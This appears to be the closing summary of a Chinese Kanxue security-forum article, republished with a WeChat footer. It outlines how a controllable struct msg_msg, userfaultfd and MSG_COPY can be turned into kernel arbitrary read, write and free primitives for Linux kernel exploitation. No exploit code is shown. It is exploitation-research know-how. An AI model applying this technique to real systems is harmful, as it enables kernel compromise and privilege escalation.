在Linux内核中,如果我们可以控制kernel heap上的 struct msg_msg ,并且允许用户态自定义userfaultfd的使用,且内核开启了 CONFIG_CHECKPOINT_RESTORE 时。可以利用struct msg_msg 以及其后续的 struct msg_msgseg 结构,通过调整MSG_COPY标签,调用 msgsnd 完成内核态分配操作与写操作;调用 msgrcv 完成内核态释放操作与读操作。

进而可以构造任意地址读写的原语;以及通过构造恶意的msg_msg链表,可以构造出任意地址释放的原语。最终根据具体情况不同,可以用于内核态的漏洞利用。


参考:

https://blog.csdn.net/guoping16/article/details/6584024

https://www.cnblogs.com/52php/p/5862114.html




 


看雪ID:ScUpax0s

https://bbs.pediy.com/user-home-876323.htm

*本文由看雪论坛 ScUpax0s 原创,转载请注明来自看雪社区



官网:https://www.bagevent.com/event/6334937



# 往期推荐

1.All About Crypto - CTF竞赛密码学方向指南

2. ghostscript 命令注入漏洞分析

3.16位实模式切换32位保护模式过程详解

4. 高Glibc版本下的堆骚操作解析

5.新人PWN堆Heap总结off-by-null专场

6. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存